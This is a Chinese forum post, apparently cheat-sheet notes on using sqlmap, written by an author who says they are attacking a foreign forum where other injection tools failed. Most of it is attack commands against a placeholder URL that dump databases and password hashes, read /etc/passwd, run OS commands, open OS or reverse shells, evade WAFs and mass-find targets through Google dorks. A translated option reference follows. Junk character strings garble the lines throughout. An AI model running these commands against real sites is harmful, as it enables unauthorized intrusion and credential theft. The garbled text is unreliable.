今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
5 A, C$ g3 L+ S6 b! N. A! bsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称# l& r' | R2 K; O0 {6 p( d8 H& r" T
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
9 ^0 ^/ _9 X* S; T0 Msqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段4 A. o% O- F: s8 X0 g3 f( `) j
; S% T C8 p, V7 d' _5 q7 u8 \sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
- ~; p1 l+ J x" o9 M! k: m- c0 #获取字段内容2 L# C: a( g6 b. S4 M S- t8 o
$ }. r) K) e! L7 }) G
******************信息获取******************
- {0 u! }. c& ]1 Wsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
; C. ^# v: M1 usqlmap -u “http://url/news?id=1″ –users #列数据库用户0 b- u9 w5 q0 ^* L; |
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
' d* f# L; q/ y+ U* }1 l$ Esqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
- v% ^$ |' Z. Z9 l. D8 nsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
6 h+ o5 t4 p5 J0 e& isqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”3 S# \. Y4 F6 x( a; y$ ~. \
–start 1 –stop 20 #列出指定字段,列出20 条" r0 O9 t% p5 V* d' \7 C
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表" ]$ m: M% R8 |# q) Z0 A6 @# p
sqlmap -u “http://url/news?id=1″ –privileges #查看权限, X# u }* x2 o2 j
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
1 `9 H) t+ S5 e5 ~! s6 \+ ysqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)! O! r5 c* F& b) o2 E9 q
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
5 E( ]1 T. |( n- osqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
0 N# u' I6 I' U; U4 Isqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入! }. S' ]; B+ E! T. W
sqlmap -u “http://url/news?id=1″-b #获取banner信息
6 I- l& {; B$ F: i2 Ksqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
. N c1 }7 X) L. ` c/ ~0 g: J5 ^sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型, ~, \5 _5 b1 M$ g" i2 |, K
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入' J; m; J5 C$ s( H% g8 X r- s% a x
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词7 d$ x- o" A A; \$ x
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
! E1 ^5 o& o" e% [. d# v! a4 ~sqlmap -u “http://url/news?id=1″ –file /etc/passwd2 |* y `* b: n
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令8 J9 n$ r+ Z5 X- R* b' Q3 d5 ]
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
3 }! F. A5 X" Z2 osqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
% U5 `1 t8 ?3 y0 Y" H- V/ j6 ysqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度% t1 v, S$ e3 {& u
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
T+ ^/ s3 f7 ~3 h***********高级用法*************
1 A! {7 G: Q5 h& X-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
) {0 c1 p9 l1 y k5 a' ^; M7 l7 Qsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
! @! K8 ~ w2 Q! e; Y–technique 测试指定注入类型\使用的技术
4 T L* j" o6 U: K不加参数默认测试所有注入技术: ~4 P( i! k$ E5 R4 @, ]+ O
• B: 基于布尔的SQL 盲注0 k2 K) `' G% O: X2 f! M0 R
• E: 基于显错sql 注入! S- E+ h7 o% w! W5 J1 E( E
• U: 基于UNION 注入0 p7 r, g: a( |6 S7 t( ]
• S: 叠层sql 注入$ t4 N1 q. D& ~, e# h" H( m
• T: 基于时间盲注
6 U! @0 b2 _& s8 I: A–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()2 Y' {- p9 L/ J* L' O+ f4 l: q$ z
–tamper 插件所在目录( ?8 D9 D( o* _7 X! J- ^/ a/ s
\sqlmap-dev\tamper4 p: h3 P2 z' ^
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能8 G# Y8 I' z6 f6 c) n
level 执行测试等级 攻击实例:2 w- m' Q& } F" u0 l5 ]
Sqlmap -u “http://url/news?id=1&Submit=Submit”' e4 |: }4 Y3 B+ s( R
–cookie=”PHPSESSID=41aa833e6d0d7 ~6 S% w. i) L4 _
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
3 x9 W/ Z' f* t6 f8 N–password
# A+ p4 \1 g5 [+ e6 ^参考文档:http://sqlmap.sourceforge.net/doc/README.html
2 A# ~; R8 p- @3 Y9 r" p [***********安装最新版本*************
/ K4 G O" l% c9 Vubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
# D% Z }& d7 k j I s* }! N: g+ C& ssudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
1 l5 X. w& W$ M. ^4 o; a安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件1 a- L% Z( I8 K8 z! h
sudo vim /home/当前用户/.bashrc
7 k0 _8 I! I8 B) O#任意位置加上:' n8 h4 e4 k" n) |2 i2 g! t) j% M" A
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效: a; _# r5 U. H D }, l
如果想对所有用户有效 可设置全局 编辑下面的文件
- ?1 b2 A8 W/ G8 t+ ~vim /etc/profile
. A8 p! M8 J' S$ ?同样加上:
( ~7 \/ b: f! Oalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效: c! v$ U8 u# o* x
******************windows 7 (x64) sqlmap install (SVN)************7 w" s5 l" s9 s% d& t9 X6 ]" x
http://www.python.org/getit/ 安装python
) O/ M; k& R7 G! M5 L7 F6 ~http://www.sliksvn.com/en/download 安装windows svn client6 h: G4 b& ~1 i6 P" ?; g; j
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
" X: a, B# ~8 m' J安装sqlmap
/ b1 g: _+ T, v' W4 {$ h! U4 Q, _*修改环境变量
3 q/ C. E( c1 z* K4 A–version 显示程序的版本号并退出
. Z9 \9 E5 O; ~6 b5 |0 }. Z-h, –help 显示此帮助消息并退出
) R4 J; J4 d' |. b7 N U1 G-v VERBOSE 详细级别:0-6(默认为1)$ O8 d3 i; Z. k! d% m3 ]3 n& C
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
: {: x3 i5 u A9 B$ b4 h" k: }-d DIRECT 直接连接到数据库。% w5 o: S$ j/ B& m+ j: U
-u URL, –url=URL 目标URL。$ ^- f+ V5 @! [. K& W
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
2 y" z; [# j2 M+ b% Q3 U-r REQUESTFILE 从一个文件中载入HTTP 请求。4 ^. v- X# X( K+ z2 R% n
-g GOOGLEDORK 处理Google dork 的结果作为目标URL。' x1 O" I. \7 g+ v$ G& b3 w8 X
-c CONFIGFILE 从INI 配置文件中加载选项。
$ x: p7 h/ L7 nRequest(请求)::
. P+ I+ V6 k/ w, O2 a% p这些选项可以用来指定如何连接到目标URL。/ B* O: P8 z' |: e0 }0 O- [
–data=DATA 通过POST 发送的数据字符串
" j! q! \3 j- s* n. l3 z/ Q- |- Y9 \–cookie=COOKIE HTTP Cookie 头, H+ C4 Z; |% U/ Y L9 V
–cookie-urlencode URL 编码生成的cookie 注入
. p8 J# O$ \! }7 e% a6 I+ I–drop-set-cookie 忽略响应的Set –Cookie 头信息7 l' B( M, D& q' p( I
+ R$ u4 J0 g; ^–user-agent=AGENT 指定 HTTP User –Agent 头) ~: s% q/ ]) r# M
–random-agent 使用随机选定的HTTP User –Agent 头1 @: s, B- p# q0 y: [! E0 K
–referer=REFERER 指定 HTTP Referer 头
% n( ~1 d- j3 v, p/ l3 J–headers=HEADERS 换行分开,加入其他的HTTP 头7 R+ G9 I& w9 Y5 \3 C1 ~
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM). M' V) p) p: f8 l0 Y }
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)0 n' G2 ]% @- G/ |
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
2 M7 F( n( d O6 `- q! k1 a3 v5 ~ U7 G–proxy=PROXY 使用HTTP 代理连接到目标URL
; q# @" S# C, N–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
) E `/ l0 \- X+ Z2 L–ignore-proxy 忽略系统默认的HTTP 代理
7 `$ ^+ N3 m9 m–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒 a$ S" W6 q/ \
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
" l- ?7 K& ~! Z2 C( L+ _) L–retries=RETRIES 连接超时后重新连接的时间(默认3) b0 e; G! z, D/ l+ O
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式; G0 r5 ?( r8 S+ T) _
–safe-url=SAFURL 在测试过程中经常访问的url 地址
5 I- P: s; m8 T1 s–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL/ K% e) t" k/ P$ O# y: O
Optimization(优化): 这些选项可用于优化SqlMap 的性能。1 t1 q/ k4 F# X& z3 V
-o 开启所有优化开关. P7 P1 ~1 m4 D; ^3 K
–predict-output 预测常见的查询输出
' |% X B! h+ V. e$ \- C& ]' H–keep-alive 使用持久的HTTP(S)连接8 F5 u1 D1 D L
–null-connection 从没有实际的HTTP 响应体中检索页面长度
$ e4 ^) X% A# w' s2 P( o–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
' x$ B( S3 q, K. _Injection(注入):: m- s" N3 y0 j% @$ o
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
; S' E. ^+ H2 r7 l; r' U! P-p TESTPARAMETER 可测试的参数(S)
. m/ S& ~+ X; l. Z–dbms=DBMS 强制后端的DBMS 为此值, P9 c+ g# L% D: [+ m* g
–os=OS 强制后端的DBMS 操作系统为这个值
! T1 S. E: \* U& c& \–prefix=PREFIX 注入payload 字符串前缀
7 `3 j( r1 N* [' O6 W–suffix=SUFFIX 注入 payload 字符串后缀0 V. g2 G8 U/ r
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
( g1 E4 k0 y8 O9 J* eDetection(检测):
3 K! d! O0 W: J! U0 Q这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。, N0 U0 q1 J4 M7 O* e8 d+ ^( X- X
–level=LEVEL 执行测试的等级(1-5,默认为1)) K* u! T" O. c9 z S" i, P
–risk=RISK 执行测试的风险(0-3,默认为1)
! t/ `: T `' o# K" X @) f–string=STRING 查询时有效时在页面匹配字符串8 n6 Y% b A) o: k9 Q0 q$ v2 z
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
: u$ T3 L7 P! s+ w* I$ U% E–text-only 仅基于在文本内容比较网页
5 p: \) H# i4 B- A9 C, JTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。( E$ ^ c! R9 g8 ^9 e" R
–technique=TECH SQL 注入技术测试(默认BEUST)
' _( ?% L! a S4 f–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)5 L+ }* x. k2 u* L3 E5 V$ x; ~
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
) |8 g2 B! }) q; W0 y. U: G% m–union-char=UCHAR 用于暴力猜解列数的字符7 g$ P$ h, B! E7 G
Fingerprint(指纹):4 p* ]' R, `* e7 C$ ?
-f, –fingerprint 执行检查广泛的DBMS 版本指纹
% M! ?0 _. h& ?Enumeration(枚举):! y/ v( x6 t; A7 Z0 l! Y) z
7 a3 s$ ^5 G9 d这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。. ~+ W" n8 ^; H6 P4 L/ q
-b, –banner 检索数据库管理系统的标识+ G: K) H5 F U! C" F* @
–current-user 检索数据库管理系统当前用户4 F% w9 W7 f9 n& C
–current-db 检索数据库管理系统当前数据库
3 J! f& {# P5 @& T- l+ l–is-dba 检测DBMS 当前用户是否DBA
' V4 E6 w6 F! z5 X! I–users 枚举数据库管理系统用户
1 ?! u; \: E# R; O1 U–passwords 枚举数据库管理系统用户密码哈希: c' l& c, w R
–privileges 枚举数据库管理系统用户的权限
) n1 c; V8 v& F2 C/ g7 }/ I; O–roles 枚举数据库管理系统用户的角色: M r3 j# W+ y4 c
–dbs 枚举数据库管理系统数据库2 ?9 h/ y. {* q; |6 K+ Y
–tables 枚举的DBMS 数据库中的表
" c* J, H. e$ d2 |–columns 枚举DBMS 数据库表列
: K! {7 W' s' m; b–dump 转储数据库管理系统的数据库中的表项
; b- Q9 U7 K5 X. m: I1 x! m–dump-all 转储所有的DBMS 数据库表中的条目7 v5 F2 Z+ m6 D* C* t0 w5 x
–search 搜索列(S),表(S)和/或数据库名称(S)' }0 C+ ]$ A; f D& c5 Y8 S
-D DB 要进行枚举的数据库名" M/ t: r! V+ M& N0 Q' A# f
-T TBL 要进行枚举的数据库表% M; J* D ^9 k: b" n2 C" ^) N
-C COL 要进行枚举的数据库列
: m4 d# l% @* e, G/ Y-U USER 用来进行枚举的数据库用户
, R) j# q, n* F; R–exclude-sysdbs 枚举表时排除系统数据库
/ c. Z4 q! E0 J4 \) }* [–start=LIMITSTART 第一个查询输出进入检索2 \. U' D, ?( b, V1 p+ q7 W
–stop=LIMITSTOP 最后查询的输出进入检索
! Y$ K: K& j2 g) B% Y. L–first=FIRSTCHAR 第一个查询输出字的字符检索4 W4 B: d" B- P8 d1 F9 q H
–last=LASTCHAR 最后查询的输出字字符检索
9 E4 V$ r [- W; e9 _" ?–sql-query=QUERY 要执行的SQL 语句
8 |& n; _) F+ z. t$ c–sql-shell 提示交互式SQL 的shell
2 W4 `1 o6 ]; g, e1 CBrute force(蛮力): 这些选项可以被用来运行蛮力检查。
# e6 t. Z! \* {$ k–common-tables 检查存在共同表- Q I6 a; W- k5 Z
–common-columns 检查存在共同列
: M6 f9 U* X6 L1 } @4 t d. kUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。# c8 y& T8 \8 W6 H/ q# G/ S7 ]4 }
–udf-inject 注入用户自定义函数) u N" D9 U0 {" L3 W4 w
–shared-lib=SHLIB 共享库的本地路径
- C) |# `- Y% y. ]- zFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
. Q; |" M5 y7 W% s–file-read=RFILE 从后端的数据库管理系统文件系统读取文件9 X* j. w* e+ ^* C
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
7 }: u D0 ]2 G; H) ]+ |–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径: d2 g8 E2 X# j0 r1 `1 y9 F
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
% E2 E" V* h& ]5 ` Y1 Q–os-cmd=OSCMD 执行操作系统命令+ s5 f$ i& y$ H( W
–os-shell 交互式的操作系统的shell
$ d3 ?# \! Z$ ^6 L. d–os-pwn 获取一个OOB shell,meterpreter 或VNC0 \: ]0 G" @9 X c* s. A& @
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
* Q8 N/ U N) B- a5 Q# h* f* G–os-bof 存储过程缓冲区溢出利用
, ]2 F/ n$ a/ _. @. s- V–priv-esc 数据库进程用户权限提升# h/ ?: K% f; R1 Q
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
0 v1 i9 u3 l( R; P) I9 ~# B1 G–tmp-path=TMPPATH 远程临时文件目录的绝对路径4 t- u' M: |; c' j1 L2 Z
I& |- r% G+ c7 F+ MWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
7 A3 H$ a$ G. o6 R9 [* G–reg-read 读一个Windows 注册表项值; s) x& i- k/ n. T. i/ _
–reg-add 写一个Windows 注册表项值数据
2 s7 C$ Z3 b! _ y6 @: S5 V6 P. i–reg-del 删除Windows 注册表键值
& C- M, a! V$ V3 j( s–reg-key=REGKEY Windows 注册表键
% }, i! ^4 S6 X, w3 I' C–reg-value=REGVAL Windows 注册表项值3 F6 o" ~, {0 V4 o( D- a
–reg-data=REGDATA Windows 注册表键值数据
9 M0 D; R: W5 d& @–reg-type=REGTYPE Windows 注册表项值类型# F5 Y9 s6 j5 P% L9 g4 |! V2 r' {
General(一般): 这些选项可以用来设置一些一般的工作参数。
$ a! V0 t, ~" `! y-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中& q$ X$ G1 Z0 _
-s SESSIONFILE 保存和恢复检索会话文件的所有数据) J/ [+ M! W \% S& Q
–flush-session 刷新当前目标的会话文件
1 h7 E" |# E6 D–fresh-queries 忽略在会话文件中存储的查询结果 H6 k8 x: [# q0 Q/ i
–eta 显示每个输出的预计到达时间
& ^- f* y9 G+ q! Q) x* `5 \9 e–update 更新SqlMap9 b8 F5 \: c) X* i
–save file 保存选项到INI 配置文件/ }3 c; n7 f9 q6 S6 g
–batch 从不询问用户输入,使用所有默认配置。
( R y$ \9 f9 i9 x. B tMiscellaneous(杂项):% {" c$ W3 c# }1 b" B% G7 k7 m) s
–beep 发现SQL 注入时提醒
" a& w5 Z! @/ H7 ~( I0 a–check-payload IDS 对注入payloads 的检测测试
" i; B7 p; g5 ~5 S4 x7 F–cleanup SqlMap 具体的UDF 和表清理DBMS
: G' u! k% C3 \–forms 对目标URL 的解析和测试形式
! N6 m" G" K$ g' C& C–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果' B( c/ ?# k' F2 w' u/ m! s" q
–page-rank Google dork 结果显示网页排名(PR)% \/ X% g% Y6 Z/ Q6 j% y6 R3 J
–parse-errors 从响应页面解析数据库管理系统的错误消息4 y9 N+ i0 n0 p3 b! n9 ^3 i6 J B
–replicate 复制转储的数据到一个sqlite3 数据库" f$ v5 A0 L& G3 m& A4 S
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址$ ?5 C+ o3 ~; {* Y9 C% o: N
–wizard 给初级用户的简单向导界面 |